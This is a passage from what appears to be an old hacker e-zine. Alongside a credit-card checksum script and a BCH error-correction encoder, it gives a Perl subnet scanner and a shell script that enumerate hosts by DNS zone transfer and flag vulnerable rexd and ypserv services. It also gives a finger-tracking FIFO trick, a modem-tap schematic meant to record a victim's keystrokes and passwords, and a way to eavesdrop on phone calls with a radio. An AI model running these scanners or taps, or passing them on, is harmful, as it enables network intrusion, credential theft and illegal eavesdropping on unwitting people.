  842.     if(backg && debug) {
  843.          fprintf(ERR,"[Cannot bg with debug on]\n");
  844.          backg=0;
  845.     }
  846.  
  847.     if(backg) {
  848.         register int s;
  849.  
  850.         if((s=fork())>0) {
  851.            fprintf(ERR,"[pid %d]\n",s);
  852.            exit(0);
  853.         } else if(s<0)
  854.            Pexit(1,"fork");
  855.  
  856.         if( (s=open("/dev/tty",O_RDWR))>0 ) {
  857.                 ioctl(s,TIOCNOTTY,(char *)NULL);
  858.                 close(s);
  859.         }
  860.     }
  861.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  862.     fflush(LOG);
  863.  
  864.     do_it();
  865. }
  866.  
  867.  
  868. ------------------------------------------------------------------------------
  869.  
  870. #! /bin/nawk -f
  871. # validcc.awk - validate credit card #
  872. {
  873.  # validate CardNo
  874.  number=""
  875.  CardNo = $0
  876.  for (indig = 1; indig <= length(CardNo); indig++) {
  877.   dig = substr(CardNo, indig, 1)
  878.   if (dig ~ /^[0-9]$/)
  879.    number = number dig
  880.   else if (dig != " ") {
  881.    print "bad character in CardNo" | "cat >&2"
  882.    break
  883.   }
  884.  }
  885.  digit1 = substr(number, 1, 1)
  886.  cclen = length(number)
  887.  if (digit1 == "3") {
  888.   print "Sorry, we do not take American Express" | "cat >&2"
  889. #  if (cclen != 15)
  890. #   print "wrong length for CardNo" | "cat >&2"
  891.  } else if (digit1 == "4") { # visa
  892.   if (cclen != 13 && cclen != 16)
  893.    print "wrong length for CardNo" | "cat >&2"
  894.  } else if (digit1 == "5") { # master card
  895.   if (cclen != 16)
  896.    print "wrong length for CardNo" | "cat >&2"
  897.  } else
  898.   print "unknown credit card" | "cat >&2"
  899.  if (cclen == 13)
  900.   bias = 0
  901.  else
  902.   bias = 1
  903.  for (llen = 1; llen <= cclen; llen++) {
  904.   cdigit = digit = substr(number, llen, 1)
  905.   if (((llen-1+bias)%2) == 1) # double every second digit
  906.    cdigit *= 2
  907.   if (cdigit > 9)
  908.    cdigit -= 9 # compensate ...
  909.   csum += cdigit  # ... add up all the digits
  910.  }
  911.  if ((csum%10) != 0)
  912.   print "bad CardNo" | "cat >&2"
  913. }
  914.  
  915. ------------------------------------------------------------------------------
  916.  
  917. /* File: bch2.c
  918.  
  919.      ======  Encoder/Decoder of binary primitive BCH codes ======
  920.  
  921.      Robert Morelos-Zaragoza,     University of Hawaii     5/19/92
  922.  
  923.     This program computes the generator polynomial of the code by
  924.     using cycle sets modulo n, n = 2^m - 1.
  925.  
  926.    (Part of this program is adapted from a Reed-Solomon encoder/decoder
  927.     program, 'rs.c', for the binary case.    rs.c was created by Simon
  928.     Rockliff, University of Adelaide   21/9/89)
  929.  
  930.    Main variables:
  931.  
  932.    m = order of the field GF(2**m)
  933.    n = 2**m - 1 = length
  934.    t = error correcting capability
  935.    d = 2*t + 1 = designed minimum distance
  936.    k = n - deg(g(x)) = dimension
  937.  
  938.    p[] = primitive polynomial to generate GF(2**m)
  939.    (read from least to most significant coefficient)
  940.  
  941.    g[] = generator polynomial
  942.  
  943.    alpha_to [] = log table in GF(2**m)
  944.    index_of[] = antilog table in GF(2**m)
  945.    data[] = data polynomial
  946.    bb[] = redundancy polynomial = x**(n-k) data[] modulo g[]
  947.  
  948.    numerr = number of errors
  949.    errpos[] = error positions
  950.  
  951.    recd[] = received polynomial
  952.    decerror = number of decoding errors ( in MESSAGE positions)
  953.  
  954. */
  955.  
  956. #include <math.h>
  957. #include <stdio.h>
  958.  
  959. int m, n, k, t, d ;
  960. int p [20] ; /* irreducible polynomial */
  961. int alpha_to [1024], index_of [1024], g [1024] ;
  962. int recd [1024], data [1024], bb [1024] ;
  963. int numerr, errpos [1024], decerror = 0 ;
  964. int seed;
  965.  
  966.  
  967.  
  968. void read_p()
  969. /* Read primitive polynomial of degree m */
  970.   {
  971.  register int i;
  972.  
  973.     printf("Enter m and primitive polynomial p(x): ");  scanf("%d", &m);
  974.     for (i=0; i<=m; i++)
  975.         scanf("%d", &p[i]);
  976.     printf("p(x) = ");
  977.     for (i=0; i<=m; i++)
  978.         printf("%1d", p[i]);
  979.     printf("\n");
  980.     n = (int)(pow(2.0,(double) m)) - 1;
  981.  }
  982.  
  983.  
  984.  
  985. void generate_gf()
  986. /* generate GF(2**m) from the irreducible polynomial p(X) in p[0]..p[m]
  987.    lookup tables:  index->polynomial form   alpha_to[] contains j=alpha**i;
  988.                    polynomial form -> index form  index_of[j=alpha**i] = i
  989.    alpha=2 is the primitive element of GF(2**m)
  990. */
  991.  {
  992.    register int i, mask ;
  993.  
  994.   mask = 1 ;
  995.   alpha_to[m] = 0 ;
  996.   for (i=0; i<m; i++)
  997.    { alpha_to[i] = mask ;
  998.      index_of[alpha_to[i]] = i ;
  999.      if (p[i]!=0)
  1000.        alpha_to[m] ^= mask ;
  1001.      mask <<= 1 ;
  1002.    }
  1003.   index_of[alpha_to[m]] = m ;
  1004.   mask >>= 1 ;
  1005.   for (i=m+1; i<n; i++)
  1006.    { if (alpha_to[i-1] >= mask)
  1007.         alpha_to[i] = alpha_to[m] ^ ((alpha_to[i-1]^mask)<<1) ;
  1008.      else alpha_to[i] = alpha_to[i-1]<<1 ;
  1009.      index_of[alpha_to[i]] = i ;
  1010.    }
  1011.   index_of[0] = -1 ;
  1012.  }
  1013.  
  1014.  
  1015. void gen_poly()
  1016. /* Compute generator polynomial of BCH code of length n=2^m - 1 */
  1017.  {
  1018.     register int ii, jj, ll, kaux;
  1019.     int test, aux, nocycles, root, noterms, rdncy;
  1020.     int cycle[256][11], size[256], min[128], zeros[256];
  1021.  
  1022. /* Generate cycle sets modulo n, n = 2^m - 1 */
  1023.     cycle[0][0] = 0; size[0] = 1;
  1024.     cycle[1][0] = 1; size[1] = 1;
  1025.     jj = 1;    /* cycle set index */
  1026.     printf("Computing cycle sets modulo %d ...\n", n);
  1027.     do
  1028.       {
  1029.       /* Generate the jj-th cycle set */
  1030.       ii = 0;
  1031.       do
  1032.         {
  1033.         ii++;
  1034.         cycle[jj][ii] = (cycle[jj][ii-1]*2) % n;
  1035.         size[jj]++;
  1036.         aux = (cycle[jj][ii]*2) % n;
  1037.         } while ( aux != cycle[jj][0] );
  1038.       printf(" %d ", jj);
  1039.       if (jj && ( (jj % 10) == 0)) printf("\n");
  1040.       /* Next cycle set representative */
  1041.       ll = 0;
  1042.       do
  1043.         {
  1044.         ll++;
  1045.         test = 0;
  1046.         for (ii=1; ((ii<=jj) && (!test)); ii++)/* Examine previous cycle
  1047. sets */
  1048.           for (kaux=0; ((kaux<size[ii]) && (!test)); kaux++)
  1049.             if (ll == cycle[ii][kaux]) test = 1;
  1050.         } while ( (test) && (ll<(n-1)) );
  1051.       if (!(test))
  1052.         {
  1053.         jj++;   /* next cycle set index */
  1054.         cycle[jj][0] = ll;
  1055.         size[jj] = 1;
  1056.         }
  1057.       } while (ll < (n-1));
  1058.     printf(" ... Done\n");
  1059.     nocycles = jj; /* number of cycle sets modulo n */
  1060. #ifdef DEBUG
  1061.     printf("Cycle sets modulo %d:\n", n);
  1062.     for (ii=0; ii<=nocycles; ii++) {
  1063.       for (jj=0; jj<size[ii]; jj++)
  1064.         printf("%d ",cycle[ii][jj]);
  1065.       printf("\n"); }
  1066. #endif
  1067.  
  1068.     printf("Enter t: ");  scanf("%d", &t);
  1069.     d = 2*t+1;
  1070.     /* Search for roots 1, 2, ..., d-1 in cycle sets */
  1071.     kaux = 0;
  1072.     rdncy = 0;
  1073.     for (ii=1; ii<=nocycles; ii++)
  1074.       {
  1075.       min[kaux] = 0;
  1076.       for (jj=0; jj<size[ii]; jj++)
  1077.         for (root=1; root<d; root++)
  1078.           if (root == cycle[ii][jj])
  1079.             min[kaux] = ii;
  1080.       if (min[kaux])
  1081.         {
  1082.         rdncy += size[min[kaux]];
  1083.         kaux++;
  1084.         }
  1085.       }
  1086.     noterms = kaux;
  1087. #ifdef DEBUG
  1088. printf("roots: ", noterms);
  1089. #endif
  1090.     kaux = 1;
  1091.     for (ii=0; ii<noterms; ii++)
  1092.       for (jj=0; jj<size[min[ii]]; jj++)
  1093.         {
  1094.         zeros[kaux] = cycle[min[ii]][jj];
  1095. #ifdef DEBUG
  1096. printf("%d ", zeros[kaux]);
  1097. #endif
  1098.         kaux++;
  1099.         }
  1100.     k = n - rdncy;
  1101.     printf("This is a (%d, %d, %d) binary BCH code\n", n, k, d);
  1102.  
  1103.  
  1104. ------------------------------------------------------------------------------
  1105.  
  1106. #!/bin/perl -s
  1107. #
  1108. #   Scan a subnet for valid hosts; if given hostname, will look at the
  1109. # 255 possible hosts on that net.  Report if host is running rexd or
  1110. # ypserv.
  1111. #
  1112. #  Usage:  scan n.n.n.n
  1113.  
  1114. # mine, by default
  1115. $default = "130.80.26";
  1116.  
  1117. $| = 1;
  1118.  
  1119. if ($v) { $verbose = 1; }
  1120.  
  1121. if ($#ARGV == -1) { $root = $default; }
  1122. else { $root = $ARGV[0]; }
  1123.  
  1124. # ip address
  1125. if ($root !~ /[0-9]+\.[0-9]+\.[0-9]+/) {
  1126.         ($na, $ad, $ty, $le, @host_ip) = gethostbyname($root);
  1127.         ($one,$two,$three,$four) = unpack('C4',$host_ip[0]);
  1128.         $root = "$one.$two.$three";
  1129.         if ($root eq "..") { die "Can't figure out what to scan...\n"; }
  1130.         }
  1131.  
  1132. print "Subnet $root:\n" if $verbose;
  1133. for $i (01..255) {
  1134.         print "Trying $root.$i\t=> " if $verbose;
  1135.         &resolve("$root.$i");
  1136.         }
  1137.  
  1138. #
  1139. #  Do the work
  1140. #
  1141. sub resolve {
  1142.  
  1143. local($name) = @_;
  1144.  
  1145. # ip address
  1146. if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
  1147.         ($a,$b,$c,$d) = split(/\./, $name);
  1148.         @ip = ($a,$b,$c,$d);
  1149.         ($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
  1150.         }
  1151. else {
  1152.         ($name, $aliases, $type, $len, @ip) = gethostbyname($name);
  1153.         ($a,$b,$c,$d) = unpack('C4',$ip[0]);
  1154.         }
  1155.  
  1156. if ($name && @ip) {
  1157.         print "$a.$b.$c.$d\t$name\n";
  1158.         system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u $name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo -u $name 100004 > /dev/null ; then echo \"R
  1159. unning ypserv.\"\nfi\nfi");
  1160.         }
  1161. else { print "unable to resolve address\n" if $verbose; }
  1162.  
  1163. }
  1164.  
  1165. sub AF_INET {2;}
  1166.  
  1167.  
  1168. ------------------------------------------------------------------------------
  1169.  
  1170. #!/bin/sh
  1171. #rpc.chk 1.0
  1172. #
  1173. # Make sure you have got a newer version of Bourne Shell (SVR2 or newer)
  1174. # that supports functions. It's usually located in /bin/sh5 (under ULTRIX OS)
  1175. # or /bin/sh (Sun OS, RS/6000 etc) If it's located elsewhere, feel free to
  1176. # change the magic number, indicating the type of executable Bourne Shell.
  1177. #
  1178. # The script obtains via nslookup utility a list of hostnames from a nameserver
  1179. # and checks every entry of the list for active rexd procedures as well as
  1180. # ypserver procedures. The output is a list of the sites that run those
  1181. # daemons and are insecure.
  1182. # -yo.
  1183.  
  1184.  
  1185. domainname=$1
  1186. umask 022
  1187. PATH=/bin:/usr/bin:/usr/ucb:/usr/etc:/usr/local/bin ; export PATH
  1188.  
  1189. #
  1190. # Function collects a list of sites
  1191. # from a nameserver. Make sure you've got the nslookup utility.
  1192. #
  1193. get_list() {
  1194. (
  1195. echo set type=ns
  1196. echo $domainname
  1197. ) | nslookup | egrep "nameserv" | cut -d= -f2> .tmp$$  2>/dev/null
  1198. if [ ! -s .tmp$$ ]; then
  1199. echo "No such domain" >&2
  1200. echo "Nothing to scan" >&2
  1201. exit 1
  1202. fi
  1203. for serv in `cat .tmp$$`;do
  1204. (
  1205. echo server $serv
  1206. echo ls  $domainname
  1207. ) | nslookup > .file$$ 2>/dev/null
  1208. lines=`cat .file$$ | wc -l`
  1209. tail -`expr $lines  - 7` .file$$  | cut -d" " -f2 > .file.tmp # .file
  1210. sed -e "s/$/.$domainname/"  .file.tmp > .hosts$$
  1211. rm -rf .file* .tmp$$
  1212. sort .hosts$$ | uniq -q >> HOSTS$$; rm -rf .hosts$$
  1213. done
  1214. tr 'A-Z' 'a-z' <HOSTS$$ |sort|uniq -q > HOSTS.$domainname;rm -rf HOSTS$$
  1215. }
  1216.  
  1217. # Function
  1218.  
  1219. rpc_calls()
  1220. {
  1221. for entry in `cat HOSTS.$domainname`; do
  1222. (
  1223. rpcinfo -t $entry ypserv >/dev/null  && echo $entry runs YPSERV ||  exit 1 # Error!
  1224. ) >> .log  2>/dev/null
  1225. (
  1226. rpcinfo -t $entry rex >/dev/null && echo $entry runs REXD ||  exit 1 # Error !
  1227.  ) >> .log  2>/dev/null
  1228. done
  1229. }
  1230.  
  1231. # Main
  1232.  
  1233. if [ "$domainname" = '' ];  then
  1234. echo "Usage $0 domainname" >&2
  1235. exit 1
  1236. fi
  1237. get_list
  1238. echo "Checking $domainname domain" > .log
  1239. echo "*****************************" >> .log
  1240. echo "Totally `cat HOSTS.$domainname | wc -l` sites  to scan" >> .log
  1241. echo "******************************" >> .log
  1242. echo "started at `date`" >> .log
  1243. echo "******************************" >> .log
  1244. rpc_calls
  1245. echo "******************************" >> .log
  1246. echo "finished at `date`"  >> .log
  1247.  
  1248. ------------------------------------------------------------------------------
  1249.  
  1250.                          The Ultimate Finger/Mail Hack
  1251.  
  1252.                                       by
  1253.  
  1254.                                     Emanon
  1255.  
  1256.                               (a.k.a. WinterHawk)
  1257.  
  1258.  
  1259. This program will keep a log of who fingers you on your local host and tell
  1260. you when the finger was performed. As an added tease, it will send email to
  1261. the person doing the fingering telling them that you know who they are and
  1262. you know when they fingered you, even when you are not logged on.
  1263.  
  1264. Easy to follow steps:
  1265.  
  1266. [This is a comment]
  1267.  
  1268. [ALL OF THE FOLLOWING FILES ARE TO GO IN YOUR HOME DIRECTORY!!!]
  1269.  
  1270. [Get to your home directory]
  1271. % cd
  1272.  
  1273. [Make a file called .mailscript and include the following source code]
  1274. [MAKE THE APPROPRIATE CHANGES TO PATH NAMES WHERE NECESSARY!!!]
  1275. % cat .mailscript
  1276. #!bin/sh
  1277. MYNAME=your_account_name # JUST YOUR LOCAL ACCOUNT NAME, NOT THE FULL ADDRESS!!!
  1278. HOME=/your/full/home/path/goes/here
  1279. SUCKER=`ps -fau | grep 'finger $MYNAME' | grep -v 'grep' | awk '{print $1}'`
  1280. echo "$SUCKER fingered you on `date`" | cat >> $HOME/.fingerlog
  1281. echo "$MYNAME knows that you fingered him on `date`" | mail -s 'Sucker!' $SUCKER
  1282.  
  1283. [On some systems, the `u' flag is not necessary for the `ps' command]
  1284. [On most systems, you will not have to (re)declare the $HOME variable]
  1285. [If you do not want the fingerer to receive email, remove the last line]
  1286. [You may wish to hard code your account name, rather than using the variable]
  1287.  
  1288. [Make a file called fingerLog.c and include the following source code]
  1289. [MAKE THE APPROPRIATE CHANGES TO PATH NAMES WHERE NECESSARY!!!]
  1290. % cat fingerLog.c
  1291. #include <stdio.h>
  1292. #include <sys/file.h>
  1293. main()
  1294. {
  1295.    int x, pipeHandle, planHandle;
  1296.    char * pipeFile = "/your/full/home/path/goes/here/.plan";
  1297.    char * planFile = "/your/full/home/path/goes/here/.realplan";
  1298.    char buf[1024];
  1299.    for(;;){
  1300.       pipeHandle=open(pipeFile,O_WRONLY);
  1301.       planHandle=open(planFile,O_RDONLY);
  1302.       while((x=read(planHandle,buf,sizeof(buf)))>0)
  1303.          write(pipeHandle,buf,x);
  1304.       system("sh /your/full/home/path/goes/here/.mailscript");
  1305.       close(pipeHandle);
  1306.       close(planHandle);
  1307.       sleep(3);}
  1308. }
  1309.  
  1310. [Compile the fingerLog.c program]
  1311. % cc fingerLog.c -o fingerLog
  1312.  
  1313. [You may want to use a more inconspicuous name for the executable file]
  1314.  
  1315. [Move you .plan file to .realplan]
  1316. % mv .plan .realplan
  1317.  
  1318. [Make a piped FIFO .plan file]
  1319. % mknod .plan p
  1320.  
  1321. [Allow people to view your bogus .plan file]
  1322. % chmod 755 .plan
  1323.  
  1324. [Run fingerLog in the background]
  1325. % nohup fingerLog > /dev/null &
  1326.  
  1327. [Optional clean up]
  1328. % rm fingerLog.c
  1329.  
  1330. PROBLEMS: On some machines, the [ps -fau] option will not reveal what account
  1331.           a person is actually fingering. In this case, you can remove all
  1332.           instances of the $MYNAME variable from the [.mailscript] file.
  1333.           However, it is entirely possible that two people may be performing a
  1334.           finger at the same time and the script may log the wrong one. If you
  1335.           do have to omit the $MYNAME variable, I strongly suggest that you
  1336.           also remove the email option. And, you might as well change the [ps]
  1337.           command to a simple [w], like so:
  1338.  
  1339.           SUCKER=`w | grep 'finger' | grep -v 'grep' | awk '{print $1}'`
  1340.  
  1341.           Also, if the system you are on is bogged down with a lot of
  1342.           processes, the script may not find the fingerer before the process
  1343.           is terminated, thus logging the time without an appropriate account
  1344.           name, and not sending the email. So far, there has only been one
  1345.           system where I could only use the program to log the times that I
  1346.           had been fingered, no account names and no email :(
  1347.  
  1348. That's It! Of course, this is not a perfect bug free program. It should run
  1349. all the time [even when you are not logged on] so you only need to run it
  1350. once. If it does quit for some reason [like when the sysop kills it], you can
  1351. simply restart it. For those of you privileged enough to be using Korn shell,
  1352. you can add the following code to your [.profile] that will check to see if
  1353. fingerLog is running whenever you log in. If it isn't, it will restart it for
  1354. you. I'm sure that this can be modified to work with Bourne and C shell (if it
  1355. doesn't already), but I'll leave that up to you.
  1356.  
  1357. ps x | grep 'fingerLog' | grep -v 'grep' > /dev/null
  1358. if (( $? != 0 )); then nohup fingerLog > /dev/null &
  1359. fi
  1360.  
  1361. Let me say this one more time so that there is no confusion, "This only works
  1362. on your LOCAL host!!!" People who finger you from a remote host will see your
  1363. [.realplan] file, just like everyone else, but they will *NOT* receive the
  1364. email. It will appear in your .fingerlog as an empty account name. If and when
  1365. someone does revise this to work with remote hosts (most likely using the
  1366. netstat command), please email me a copy at:
  1367.  
  1368. tdavis@garnet.acns.fsu.edu
  1369.  
  1370. As a matter of fact, there is a lot of room for improvement. If *ANYONE* makes
  1371. *ANY* revisions, please have the courtesy to email me a copy and explain what
  1372. changes you have made. Thanks. Enjoy!
  1373.  
  1374. Assembly: WinterHawk bows humbly to Cat and Fuzz.
  1375.  
  1376. ------------------------------------------------------------------------------
  1377.  
  1378.                      +----------------------+
  1379.                      | Building A Modem Tap |
  1380.                      | by: phigan           |
  1381.                      +----------------------+
  1382.  
  1383.         Many of you have probably heard of, seen, or maybe even built a
  1384. phone tap. Not a very difficult device to make. I got the idea of making
  1385. a modem tap from a computer underground book that I saw over at my local
  1386. Spy Headquarters (I'm not sure if this is a store that is only here in
  1387. 602 or not but its got shitloads of spy equipment such as video
  1388. surveillance, fake ids, useful literature, fake bombs, very small bugs,
  1389. etc.).  First of all, here is the schematic for making a phone tap to
  1390. record to cassette.
  1391.  
  1392. Parts
  1393. ~~~~~
  1394. 1) RCA-type jack
  1395.    to tape recorder
  1396.    mic input
  1397. 1) 10k(p)ohm : 20k(s) ohm
  1398.    transformer
  1399. 1) .005 mfd capacitor
  1400.  
  1401. Schematic
  1402. ~~~~~~~~~
  1403.                                       To line
  1404. +--------------------------+          |     |
  1405. |                          |          |     |
  1406. (+-----------+             |          |     |
  1407. RCA          | Transformer |          |     |
  1408. jack         +^^^^^^^^^^^^^+          |     |
  1409.              +-------------+          |     |
  1410.              |             |          |     |
  1411.              |             +----------------+
  1412.              |                        |     |
  1413.              +----------||------------+     |
  1414.                      .005 mfd         |     |
  1415.  
  1416.         The main purpose for a modem tap such as this is to set it up at
  1417. someone's house or maybe an office building that you know dials out with
  1418. modems and you can record all the keystrokes that have been entered.
  1419. With this next schematic, you can simply play the cassette back through
  1420. your modem and easily print out the entire session having logged
  1421. passwords and so on. Good way of getting CBI accounts also.
  1422.  
  1423. Parts
  1424. ~~~~~
  1425. 1) RCA type jack
  1426.    from tape recorder
  1427.    ext. speaker
  1428. 1) 100 Ohm restistor
  1429. 1) bell-type phone jack (@)
  1430.  
  1431. Schematic
  1432. ~~~~~~~~~
  1433.  
  1434.     +-------+       ____________________   RCA jack
  1435. ----| Modem | @----<_________/\/\/\_____>(+
  1436.     +-------+ phone          100 Ohm
  1437.               jack
  1438.  
  1439.         When you have a recording of your victim's session, simply fire
  1440. up your terminal program and treat it as you would any other modem
  1441. connection. If you are smart enough, you may even be able to combine
  1442. these two and make an acoustic modem module for a regular laptop modem
  1443. (hint hint payphones hint hint). I have seen this done in a mail-order
  1444. mag.
  1445. It said that the acoustic module could handle 9600 baud and if you have
  1446. good
  1447. enough rubber cups (like they did on their model) then you will
  1448. have absolutely no line noise. Anyway, if you have any problems, feel
  1449. free to email me at 15660@ef.gc.maricopa.edu or you may find me on IRC
  1450. as phigan on channels #phreak, #hack, or sometimes #c-64.
  1451.  
  1452.  
  1453.                       ,,,
  1454.                      (o o)
  1455. .---------------oOO---(_)---OOo---------------.
  1456. | PHiGAN/6o2              IBM/Amiga/8-Bit     |
  1457. | ANSi/VGA/Coding         Member: NWPAC       |
  1458. | Hi-Res/8-Bit/Musix      SysOp:              |
  1459. | 15660@ef.gc.maricopa.edu -The PhAcS Machine |
  1460. `---------------------------------------------'
  1461.  
  1462.  
  1463. ------------------------------------------------------------------------------
  1464.  
  1465.                   Phone Tapping with a personal stereo !!!
  1466.                              brought to you by
  1467.  
  1468.                                  Harlequin
  1469.  
  1470.         Here in the UK, we have a reasonably secure phone system, mainly
  1471. because the whole system is run by our beloved phone company British
  1472. Telecom, even the private phone companies have to rent their lines off BT.
  1473.  
  1474.         BUT, due to something or other I don't entirely understand here's
  1475. how to listen in to phone conversations with a personal stereo.
  1476.  
  1477.         I was lying in bed one night trying desperately to read my book,
  1478. while everyone else was making enough noise to wake the dead. So, I
  1479. thought, I'll put personal stereo radio onto some radio crackle to cut out
  1480. everything else. I was happily reading for a while when suddenly the radio
  1481. crackle was interrupted by 'ring ring, ring ring, 'ello Jon, going into
  1482. work tomorrow ? Good, how's the wife.... etc etc' Fuck me ! A telephone
  1483. conversation. After a bit of investigating I discovered my bed lies next
  1484. to where the telephone line goes thru the wall.
  1485.  
  1486.         What I did was to tune the radio into an AM frequency, as far to
  1487. the right (past 1600 kHz) as possible. This works on my personal stereo, a
  1488. Sharp, model JC-512(GY), my clock radio and my mates pocket radio, but not
  1489. on some other radios we've tried. It picks up local telephone calls (if
  1490. there are any strong enough to be picked up) when the radio is put near a
  1491. telephone socket or line (the closer the better). Computer monitors and
  1492. TV's give loads of interference (try putting your the radio near one when
  1493. tuned to listen for phones) so keep away from them.
  1494.  
  1495.         You can't choose what calls to listen in on, and some may be
  1496. blurred beyond recognition, while others are crystal clear. Also,
  1497. strangely enough if someone in the house uses the phone while your
  1498. listening to conversations it doesn't effect it in any way, and you can't
  1499. hear the call currently on the line.
  1500.  
  1501.         Not being an electronics hacker I can only assume it is to do with
  1502. the frequency of radio waves given off by electrical devices after a
  1503. certain distance travelled. But then again maybe not.
  1504.  
  1505.         This may work in other places apart from the UK as well, give it a
  1506. try !
  1507.  
  1508.